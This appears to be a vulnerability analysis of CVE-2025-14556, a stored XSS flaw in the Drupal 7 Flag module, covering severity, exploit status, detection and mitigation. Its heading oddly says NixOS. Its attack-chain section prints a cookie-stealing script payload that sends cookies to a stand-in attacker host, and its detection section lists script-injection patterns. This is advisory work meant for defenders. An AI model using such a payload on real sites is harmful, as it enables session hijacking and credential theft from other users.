CVE-2025-14556: 
NixOS vulnerability analysis and mitigation

CVE-2025-14556 is a Cross-Site Scripting (XSS) vulnerability in the Drupal Flag module, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects Flag module versions 7.x-3.0 through 7.x-3.9 running on Drupal 7. The CVE was received from Drupal.org on January 14, 2026, and underwent initial NVD analysis on January 23, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 4.8 (Medium) (Red Hat Advisory, HeroDevs).

The vulnerability stems from insufficient sanitization of user-supplied input during web page generation within the Drupal Flag module (CWE-79). An authenticated attacker with low privileges can inject malicious JavaScript payloads through the Flag module's input fields, which are then rendered unsanitized in the browser of other users who view the affected page. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim must view the page containing the injected script). A proof-of-concept is publicly referenced via HeroDevs, and a security advisory was published by Tag1 Consulting for Drupal 7 extended security support (HeroDevs, Tag1 Advisory).

Successful exploitation allows an authenticated low-privileged attacker to execute arbitrary JavaScript in the browsers of other users, potentially leading to session hijacking, credential theft, defacement of page content, or redirection to malicious sites. The scope is changed (S:C in CVSS terms), meaning the impact extends beyond the attacker's own session to affect other users of the application. Availability is not directly impacted, but confidentiality and integrity of affected user sessions and displayed content are at risk (HeroDevs, Red Hat Advisory).

A proof-of-concept exploit is publicly available via HeroDevs, though there is no confirmed evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported (HeroDevs, Red Hat Advisory).

1. Reconnaissance: Identify Drupal 7 sites running the Flag module versions 7.x-3.0 through 7.x-3.9 using web fingerprinting tools or by inspecting publicly accessible Drupal sites for the Flag module's presence.
2. Obtain low-privileged account: Register or use an existing low-privileged authenticated account on the target Drupal site that has access to Flag module functionality.
3. Inject XSS payload: Submit a crafted input containing a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) through a Flag module input field that is not properly sanitized.
4. Trigger victim interaction: Wait for or socially engineer a higher-privileged user (e.g., administrator) to visit the page where the injected content is rendered.
5. Achieve objective: The victim's browser executes the injected script, enabling session cookie theft, credential harvesting, or further malicious actions on behalf of the attacker (HeroDevs, Tag1 Advisory).

• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting Flag module pages; unusual cookie or session token exfiltration traffic.
• Logs: Drupal access logs showing POST requests to Flag module endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=, javascript:).
• File System: No direct file system artifacts expected for a reflected/stored XSS; however, unexpected changes to Drupal database content in Flag-related tables may indicate stored payload injection.
• Process/Application: Unexpected JavaScript execution errors in server-side logs; reports from users of unexpected redirects or pop-ups when viewing Flag module content.

Sites running Drupal 7 with the Flag module versions 7.x-3.0 through 7.x-3.9 should update to a patched version as soon as one becomes available from the module maintainers or via Drupal 7 extended security support (D7ES via Tag1). As interim mitigations: restrict Flag module access to trusted users only, implement Content Security Policy (CSP) headers to limit script execution, and monitor audit logs for suspicious Flag module activity. If the module is not critical to operations and no patch is available, consider temporarily disabling it (Tag1 Advisory, HeroDevs).

The vulnerability was disclosed through Drupal.org's security advisory process and covered by Tag1 Consulting's D7ES (Drupal 7 Extended Security) advisory channel. HeroDevs, which provides extended support for end-of-life software, published a vulnerability directory entry and proof-of-concept reference. Community aggregators including Vulners, VulDB, and CVEFeed.io indexed the vulnerability shortly after publication, and it received brief social media attention on Bluesky via automated CVE tracking accounts. No major vendor statements or significant researcher commentary beyond the initial advisory have been identified (Tag1 Advisory, HeroDevs).